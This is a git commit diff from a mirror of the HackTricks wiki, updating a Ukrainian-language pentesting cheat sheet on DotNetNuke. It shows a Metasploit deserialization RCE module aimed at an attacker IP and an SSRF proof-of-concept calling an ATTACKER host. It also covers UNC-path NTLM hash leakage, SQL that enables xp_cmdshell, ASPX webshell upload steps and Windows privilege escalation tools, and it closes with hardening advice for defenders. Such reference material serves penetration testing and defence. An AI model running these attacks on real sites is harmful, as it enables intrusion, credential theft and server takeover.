mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d
This commit is contained in:
parent
fb037839ae
commit
0e09b73206
@ -4,37 +4,92 @@
|
||||
|
||||
## DotNetNuke (DNN)
|
||||
|
||||
Якщо ви увійдете як **адміністратор** в DNN, легко отримати RCE.
|
||||
Якщо ви входите як **адміністратор** в DNN, легко отримати **RCE**, однак за останні кілька років було опубліковано ряд *неавтентифікованих* та *пост-автентифікаційних* технік. Наступна шпаргалка збирає найбільш корисні примітиви для як наступальних, так і захисних робіт.
|
||||
|
||||
## RCE
|
||||
---
|
||||
## Перерахунок версій та середовища
|
||||
|
||||
### Через SQL
|
||||
* Перевірте заголовок HTTP-відповіді *X-DNN* – зазвичай він розкриває точну версію платформи.
|
||||
* Майстер установки розкриває версію в `/Install/Install.aspx?mode=install` (доступно на дуже старих установках).
|
||||
* `/API/PersonaBar/GetStatus` (9.x) повертає JSON-об'єкт, що містить `"dnnVersion"` для користувачів з низькими привілеями.
|
||||
* Типові куки, які ви побачите на живій інстанції:
|
||||
* `.DOTNETNUKE` – квиток аутентифікації форм ASP.NET.
|
||||
* `DNNPersonalization` – містить XML/серіалізовані дані профілю користувача (старі версії – див. RCE нижче).
|
||||
|
||||
SQL консолі доступна на сторінці **`Налаштування`**, де ви можете увімкнути **`xp_cmdshell`** та **виконувати команди операційної системи**.
|
||||
---
|
||||
## Неавтентифіковане використання
|
||||
|
||||
Використовуйте ці рядки, щоб увімкнути **`xp_cmdshell`**:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', '1'
|
||||
RECONFIGURE
|
||||
EXEC sp_configure 'xp_cmdshell', '1'
|
||||
RECONFIGURE
|
||||
### 1. Десеріалізація куків RCE (CVE-2017-9822 та подальші)
|
||||
*Постраждалі версії ≤ 9.3.0-RC*
|
||||
|
||||
`DNNPersonalization` десеріалізується при кожному запиті, коли вбудований обробник 404 увімкнено. Отже, підготовлений XML може призвести до довільних ланцюгів гаджетів та виконання коду.
|
||||
```
|
||||
І натисніть **"Run Script"**, щоб виконати ці SQL речення.
|
||||
|
||||
Потім використовуйте щось подібне до наступного, щоб виконати команди ОС:
|
||||
```sql
|
||||
xp_cmdshell 'whoami'
|
||||
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
|
||||
msf> set RHOSTS <target>
|
||||
msf> set LHOST <attacker_ip>
|
||||
msf> run
|
||||
```
|
||||
### Via ASP webshell
|
||||
Модуль автоматично обирає правильний шлях для патчених, але все ще вразливих версій (CVE-2018-15811/15812/18325/18326). Експлуатація працює **без аутентифікації** на 7.x–9.1.x і з *перевіреним* обліковим записом з низькими привілеями на 9.2.x+.
|
||||
|
||||
В `Settings -> Security -> More -> More Security Settings` ви можете **додати нові дозволені розширення** в `Allowable File Extensions`, а потім натиснути кнопку `Save`.
|
||||
### 2. Server-Side Request Forgery (CVE-2025-32372)
|
||||
*Постраждалі версії < 9.13.8 – Патч випущено в квітні 2025 року*
|
||||
|
||||
Додайте **`asp`** або **`aspx`**, а потім у **`/admin/file-management`** завантажте **asp webshell** під назвою `shell.asp`, наприклад.
|
||||
Обхід старого виправлення `DnnImageHandler` дозволяє зловмиснику примусити сервер виконувати **произвольні GET запити** (напівсліпий SSRF). Практичні наслідки:
|
||||
|
||||
Потім отримайте доступ до **`/Portals/0/shell.asp`**, щоб отримати доступ до вашого webshell.
|
||||
* Внутрішнє сканування портів / виявлення метаданих у хмарних розгортаннях.
|
||||
* Доступ до хостів, які інакше заблоковані брандмауером від Інтернету.
|
||||
|
||||
### Privilege Escalation
|
||||
Доказ концепції (замініть `TARGET` & `ATTACKER`):
|
||||
```
|
||||
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
|
||||
```
|
||||
Запит викликається у фоновому режимі; слідкуйте за вашим слухачем для зворотних викликів.
|
||||
|
||||
Ви можете **підвищити привілеї** за допомогою **Potatoes** або **PrintSpoofer**, наприклад.
|
||||
### 3. Витік NTLM Hash через UNC перенаправлення (CVE-2025-52488)
|
||||
*Постраждалі версії 6.0.0 – 9.x (< 10.0.1)*
|
||||
|
||||
Спеціально підготовлений контент може змусити DNN спробувати отримати ресурс, використовуючи **UNC шлях** такий як `\\attacker\share\img.png`. Windows з радістю виконає NTLM переговори, витікаючи хеші облікових записів сервера до атакуючого. Оновіть до **10.0.1** або вимкніть вихідний SMB на брандмауері.
|
||||
|
||||
### 4. Обхід IP фільтрації (CVE-2025-52487)
|
||||
Якщо адміністратори покладаються на *Host/IP Filters* для захисту адміністративного порталу, майте на увазі, що версії до **10.0.1** можуть бути обійдені шляхом маніпуляції `X-Forwarded-For` у сценарії зворотного проксі.
|
||||
|
||||
---
|
||||
## Пост-аутентифікація до RCE
|
||||
|
||||
### Через SQL консоль
|
||||
У **`Settings → SQL`** вбудоване вікно запитів дозволяє виконання проти бази даних сайту. На Microsoft SQL Server ви можете увімкнути **`xp_cmdshell`** і запускати команди:
|
||||
```sql
|
||||
EXEC sp_configure 'show advanced options', 1;
|
||||
RECONFIGURE;
|
||||
EXEC sp_configure 'xp_cmdshell', 1;
|
||||
RECONFIGURE;
|
||||
GO
|
||||
xp_cmdshell 'whoami';
|
||||
```
|
||||
### Завантаження веб-шелу через ASPX
|
||||
1. Перейдіть до **`Налаштування → Безпека → Більше → Додаткові налаштування безпеки`**.
|
||||
2. Додайте `aspx` (або `asp`) до **Дозволені розширення файлів** та **Зберегти**.
|
||||
3. Перейдіть до **`/admin/file-management`** та завантажте `shell.aspx`.
|
||||
4. Викличте його за адресою **`/Portals/0/shell.aspx`**.
|
||||
|
||||
---
|
||||
## Підвищення привілеїв на Windows
|
||||
Якщо виконання коду досягнуто як **IIS AppPool\<Site>**, застосовуються звичайні техніки підвищення привілеїв Windows. Якщо система вразлива, ви можете скористатися:
|
||||
|
||||
* **PrintSpoofer** / **SpoolFool** для зловживання *SeImpersonatePrivilege*.
|
||||
* **Juicy/Sharp Potatoes** для обходу *Службових облікових записів*.
|
||||
|
||||
---
|
||||
## Рекомендації щодо зміцнення (Блакитна команда)
|
||||
|
||||
* **Оновіть** до принаймні **9.13.9** (виправляє обхід SSRF) або, бажано, **10.0.1** (проблеми з IP-фільтрацією та NTLM).
|
||||
* Видаліть залишкові **`InstallWizard.aspx*`** файли після установки.
|
||||
* Вимкніть вихідний SMB (порти 445/139).
|
||||
* Застосуйте суворі *Фільтри хостів* на крайовому проксі, а не в DNN.
|
||||
* Заблокуйте доступ до `/API/RemoteContentProxy`, якщо не використовується.
|
||||
|
||||
## Посилання
|
||||
|
||||
* Документація модуля Metasploit `dnn_cookie_deserialization_rce` – практичні деталі неавтентифікованого RCE (GitHub).
|
||||
* Повідомлення про безпеку GitHub GHSA-3f7v-qx94-666m – інформація про обхід SSRF 2025 року та патчі.
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user